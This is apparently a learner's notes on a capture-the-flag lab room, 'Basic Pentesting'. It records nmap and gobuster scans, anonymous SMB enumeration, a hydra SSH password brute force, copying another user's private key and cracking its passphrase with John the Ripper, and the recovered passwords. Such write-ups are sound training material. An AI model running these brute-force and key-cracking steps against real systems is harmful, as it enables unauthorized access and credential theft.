Basic Pentesting
This is a machine that allows you to practise web app hacking and privilege escalation
In these set of tasks you’ll learn the following:
- brute forcing
- hash cracking
- service enumeration
- Linux Enumeration The main goal here is to learn as much as possible.
[!important] target IP = 10.66.189.65
[!info] NMAP scan performed to enumerate target:
root@ip-10-66-127-214:~# sudo nmap 10.66.189.65 -A -p-
Nmap scan report for 10.66.189.65
Host is up (0.00058s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/1%OT=22%CT=1%CU=38306%PV=Y%DS=1%DC=T%G=Y%TM=697F103C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M230
OS:1ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B
OS:3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-02-01T08:35:08
|_ start_date: N/A
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 0.55 ms 10.66.189.65
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds
[!NOTE] NMAP results: Port 22, 80, 139, 445 are open OpenSSH 8.2pl, Apache server 2.4.41, netbios-ssn Samba smbd 4.6.2
[!todo] What is the name of the hidden directory on the web server(enter name without /)?
[!QUESTION] What tool/info do I need to use to reveal hidden directories? Gobuster for directory? Apache server 2.4.41 vuln? Samba smbd 4.6.2?
[!INFO] Ran a gobuster directory bruteforce to find relevant hidden directory
root@ip-10-66-127-214:~# gobuster dir -u http://10.66.189.65:80/ -w /usr/share/wordlists/dirb/common.txt
[!NOTE] Found hidden directory which return redirect code 301 (developer)
root@ip-10-66-127-214:~# gobuster dir -u http://10.66.189.65:80/ -w /usr/share/wordlists/dirb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.66.189.65:80/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Error: error on running gobuster: failed to get number of lines: read /usr/share/wordlists/dirb: is a directory
root@ip-10-66-127-214:~# gobuster dir -u http://10.66.189.65:80/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.66.189.65:80/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/development (Status: 301) [Size: 318] [--> http://10.66.189.65/development/]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
[!NOTE] Got redirected to the following page ![[Obsidian assets/development page.png]] Clicking onto j.txt revealed /etc/shadow password which can be cracked ![[Obsidian assets/Pasted image 20260201092251.png]]
[!todo] User brute-forcing to find the username & password What is the username?
[!Question] How do I find /etc/shadow? Directory traversal in URL? gain access via Apache server vuln? Samba 4.6.2? Enum further?
[!Info] After realising the dev.txt containing vital info about Apache Struts being version 2.5.12 - I want to explore any vulnerabilities around this: ![[Obsidian assets/dev.txt.png]]
[!NOTE] Got lost in the rabbit hole of exploring dev.txt and Apache struts trying to do a directory traversal like this:
http://10.66.189.65/development/struts2-rest-showcaseOnly to realise I was being gaslit by ChatGPT the whole time…
![[Obsidian assets/ChatGPT Gaslighting.png]]
After a long break, Im going to use Enum4Linux as that enumerates for Samba
[!important] target IP = 10.64.165.166
[!INFO] Performed Enum4Linux cmd:
enum4linux -a 10.64.165.166And got the following results:
root@ip-10-64-123-91:~# enum4linux -a 10.64.165.166
WARNING: polenum.py is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Feb 1 14:34:00 2026
==========================
| Target Information |
==========================
Target ........... 10.64.165.166
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 10.64.165.166 |
=====================================================
[+] Got domain/workgroup name: WORKGROUP
=============================================
| Nbtstat Information for 10.64.165.166 |
=============================================
Looking up status of 10.64.165.166
BASIC2 <00> - B <ACTIVE> Workstation Service
BASIC2 <03> - B <ACTIVE> Messenger Service
BASIC2 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 10.64.165.166 |
======================================
[+] Server 10.64.165.166 allows sessions using username '', password ''
============================================
| Getting domain SID for 10.64.165.166 |
============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 10.64.165.166 |
=======================================
Use of uninitialized value $os_info in concatenation (.) or string at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 464.
[+] Got OS info for 10.64.165.166 from smbclient:
[+] Got OS info for 10.64.165.166 from srvinfo:
BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.15.13-Ubuntu
platform_id : 500
os version : 6.1
server type : 0x809a03
==============================
| Users on 10.64.165.166 |
==============================
Use of uninitialized value $users in print at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 876.
Use of uninitialized value $users in pattern match (m//) at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 879.
Use of uninitialized value $users in print at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 892.
Use of uninitialized value $users in pattern match (m//) at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 894.
==========================================
| Share Enumeration on 10.64.165.166 |
==========================================
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.64.165.166
//10.64.165.166/Anonymous Mapping: OK, Listing: OK
//10.64.165.166/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=====================================================
| Password Policy Information for 10.64.165.166 |
=====================================================
[E] Dependent program "polenum.py" not present. Skipping this check. Download polenum from http://labs.portcullis.co.uk/application/polenum/
===============================
| Groups on 10.64.165.166 |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on 10.64.165.166 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
==============================================
| Getting printer info for 10.64.165.166 |
==============================================
No printers returned.
enum4linux complete on Sun Feb 1 14:34:24 2026
[!NOTE] A lot of information but they key bits were the usernames Jay & Kay, found an anonymous login SMB from the following:
[+] Server 10.64.165.166 allows sessions using username '', password ''Since I enumerated via nmap to discover SMB port is open, I will use smbclient now with anonymous login using the following cmd: ``` smbclient //10.64.165.166/Anonymous -N
root@ip-10-64-123-91:~# smbclient //10.64.165.166/Anonymous -N
Try "help" to get a list of possible commands.
smb: \>
smb: \> ls
. D 0 Thu Apr 19 18:31:20 2018
.. D 0 Thu Apr 19 18:13:06 2018
staff.txt N 173 Thu Apr 19 18:29:55 2018
14282840 blocks of size 1024. 6247228 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (42.2 KiloBytes/sec) (average 42.2 KiloBytes/sec)
smb: \> quit
root@ip-10-64-123-91:~# ls
burp.json Desktop Instructions Postman Scripts staff.txt Tools
CTFBuilder Downloads Pictures Rooms snap thinclient_drives
root@ip-10-64-123-91:~# cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
[!Question] How do I find the password now? Maybe another brute forcing technique as suggested earlier in the tasks?
[!Info] Whilst continuing to enumerate, I decided to use hydra to see if simple passwords were setup which they usually are on THM so I went with the following to crack the PW:
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.64.165.166Jan was chosen as username as that was what the task required.
[!NOTE] Managed to wait for 7 minutes till i got the password of armando for user jan
root@ip-10-64-123-91:~# hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.64.165.166
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-01 14:56:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.64.165.166:22/
[STATUS] 121.00 tries/min, 121 tries in 00:01h, 14344282 to do in 1975:48h, 16 active
[STATUS] 113.67 tries/min, 341 tries in 00:03h, 14344062 to do in 2103:15h, 16 active
[STATUS] 105.86 tries/min, 741 tries in 00:07h, 14343662 to do in 2258:21h, 16 active
[22][ssh] host: 10.64.165.166 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 12 final worker threads did not complete until end.
[ERROR] 12 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-01 15:04:02
[!Info] Now that I know PW for user jan, I will SSH into her account and see what I can enumerate
> root@ip-10-64-123-91:~# ssh jan@10.64.165.166 The authenticity of host '10.64.165.166 (10.64.165.166)' can't be established. ECDSA key fingerprint is SHA256:zcJFrwKbZj2Gb6506npwko2Aucdr/vWczcCPSLBixyk. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.64.165.166' (ECDSA) to the list of known hosts. jan@10.64.165.166's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
[!NOTE] Managed to find my way in and got a file got pass.bak so apparently looking online and its a back up file with a few ways to access this including using an MSSQL server.
jan@ip-10-64-165-166:~$ ls jan@ip-10-64-165-166:~$ pwd /home/jan jan@ip-10-64-165-166:~$ cd .. jan@ip-10-64-165-166:/home$ ls jan kay ubuntu jan@ip-10-64-165-166:/home$ cd kay jan@ip-10-64-165-166:/home/kay$ ls pass.bak jan@ip-10-64-165-166:/home/kay$ file pass.bak pass.bak: regular file, no read permission
[!Info] I decided to leave that for now and investigate earlier conversation from Jan & Kay about the password hash at /etc/shadow being crackable however upon attempting to access this, I was denied reading permission so I need to do privilege escalate first:
jan@ip-10-64-165-166:/etc$ cd /shadow -bash: cd: /shadow: No such file or directory jan@ip-10-64-165-166:/etc$ cat shadow cat: shadow: Permission denied jan@ip-10-64-165-166:/etc$ cat shadow- cat: shadow-: Permission deniedI decided to try privilege escalation methods as it follows with what failed to show vulnerability and what I can use:
[!Failure]
jan@ip-10-64-165-166:/etc$ uname -a Linux ip-10-64-165-166 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux jan@ip-10-64-165-166:/etc$ cat /proc/version Linux version 5.15.0-139-generic (buildd@lcy02-amd64-067) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 jan@ip-10-64-165-166:/etc$ cat issue Ubuntu 20.04.6 LTS \n \l jan@ip-10-64-165-166:/$ sudo -l [sudo] password for jan: Sorry, user jan may not run sudo on ip-10-64-165-166.
[!NOTE] After realising that the privilege escalation route wasn’t needed, I had a light bulb moment to find the SSH key instead via the following way:
jan@ip-10-64-165-166:/home/kay$ ls pass.bak jan@ip-10-64-165-166:/home/kay$ ls -la total 48 drwxr-xr-x 5 kay kay 4096 Apr 23 2018 . drwxr-xr-x 5 root root 4096 Feb 1 09:30 .. -rw------- 1 kay kay 789 Jun 22 2025 .bash_history -rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout -rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc drwx------ 2 kay kay 4096 Apr 17 2018 .cache -rw------- 1 root kay 119 Apr 23 2018 .lesshst drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano -rw------- 1 kay kay 57 Apr 23 2018 pass.bak -rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh -rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful -rw------- 1 root kay 538 Apr 23 2018 .viminfo jan@ip-10-64-165-166:/home/kay$ cat .ssh cat: .ssh: Is a directory jan@ip-10-64-165-166:/home/kay$ cd .ssh jan@ip-10-64-165-166:/home/kay/.ssh$ ls authorized_keys id_rsa id_rsa.pub jan@ip-10-64-165-166:/home/kay/.ssh$
[!NOTE] Okay seems like i got too excited after creating a file for Key with her private key called Jankey, I was not able to get in still as I needed the passphrase which tells me I need to do some thinking:
root@ip-10-64-123-91:~# chmod 600 jankey root@ip-10-64-123-91:~# ssh -i jankey kay@10.64.165.166 Enter passphrase for key 'jankey':
[!Info] Turns out I can use John The Ripper with an SSH key to turn it into a john hash and get the passphrase from there for Kay which is beeswax:
root@ip-10-64-123-91:~# ssh2john jankey > kay.hash ssh2john: command not found root@ip-10-64-123-91:~# locate ssh2john /opt/john/ssh2john.py root@ip-10-64-123-91:~# python3 /opt/john/ssh2john.py jankey > kay.hash root@ip-10-64-123-91:~# john kay.hash --wordlist=/usr/share/wordlists/rockyou.txt Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl" Use the "--format=ssh-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status beeswax (jankey) 1g 0:00:00:01 4.04% (ETA: 16:39:31) 1.000g/s 667888p/s 667888c/s 667888C/s dorisl..dori16 1g 0:00:00:09 DONE (2026-02-01 16:39) 0.1029g/s 1477Kp/s 1477Kc/s 1477KC/s *7¡Vamos! Session completed.
[!NOTE] I’ve SSH’d into Kay and tried a few cmds to see what I can find but it seems like I’m still not any closer as I still can’t access much including /etc/shadow or even .ssh of ubuntu:
kay@ip-10-64-165-166:~$ sudo -l [sudo] password for kay: Sorry, try again. [sudo] password for kay: sudo: 1 incorrect password attempt kay@ip-10-64-165-166:~$ cat etc/shadow cat: etc/shadow: No such file or directory kay@ip-10-64-165-166:~$ cat /etc/shadow cat: /etc/shadow: Permission denied kay@ip-10-64-165-166:~$ ls pass.bak kay@ip-10-64-165-166:~$ cd .. kay@ip-10-64-165-166:/home$ ls jan kay ubuntu kay@ip-10-64-165-166:/home$ cd ubun -bash: cd: ubun: No such file or directory kay@ip-10-64-165-166:/home$ cd ubuntu/ kay@ip-10-64-165-166:/home/ubuntu$ ls kay@ip-10-64-165-166:/home/ubuntu$ ls kay@ip-10-64-165-166:/home/ubuntu$ ls -la total 24 drwxr-xr-x 3 ubuntu ubuntu 4096 Feb 1 09:30 . drwxr-xr-x 5 root root 4096 Feb 1 09:30 .. -rw-r--r-- 1 ubuntu ubuntu 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31 2015 .bashrc -rw-r--r-- 1 ubuntu ubuntu 807 Apr 18 2022 .profile drwx------ 2 ubuntu ubuntu 4096 Feb 1 09:30 .ssh kay@ip-10-64-165-166:/home/ubuntu$ cd .ssh -bash: cd: .ssh: Permission denied
[!NOTE] It seems I misunderstood pass.bak file was and how to read it. I was told by multiple online sources to read the file via MSSQL server etc. yet Chat GPT told me to just cat it and I found what I was looking for:
kay@ip-10-64-165-166:/home$ cd kay kay@ip-10-64-165-166:~$ ls pass.bak kay@ip-10-64-165-166:~$ cat pass.bak heresareallystrongpasswordthatfollowsthepasswordpolicy$$ kay@ip-10-64-165-166:~$Yes. That was it…The password was right there under my nose….anyway completed my first room with a huge amount of cheating ahem I mean guidance :) ![[Obsidian assets/Basic Pentesting room completed.png]]
[!success] Technical / Process Skills: Web enumeration: Using directory brute-forcing (gobuster) to find hidden dev resources. Protocol enumeration: SMB enumeration with enum4linux and smbclient to extract usernames and files. Credential attack: Recognized usernames from SMB, then applied password cracking (John the Ripper) against SSH private key. SSH key handling: Extracting and using a private key, understanding encrypted key passphrase concepts. Post-authentication enumeration: Exploring user directories, recognizing sensitive files (.bak), and reading them to complete objectives. Prioritization: Learned to focus on the access you already have (kay shell) instead of overcomplicating with unnecessary exploits. Soft / Process Skills: Patience under uncertainty: Sticking with enumeration and tools rather than giving up. Learning through iterative discovery: Figuring out when to pivot between services (web → SMB → SSH). Documentation discipline: Maintaining notes, linking findings to specific files (dev.txt, j.txt, pass.bak).
[!TLDR] Performed full-stack penetration testing simulation: web directory enumeration, SMB user and file discovery, SSH key exploitation, and post-auth user enumeration. Developed methodical, structured approach to pivoting between services, identifying sensitive files, and extracting credentials safely. Documented all findings in a reproducible workflow for analysis and reporting.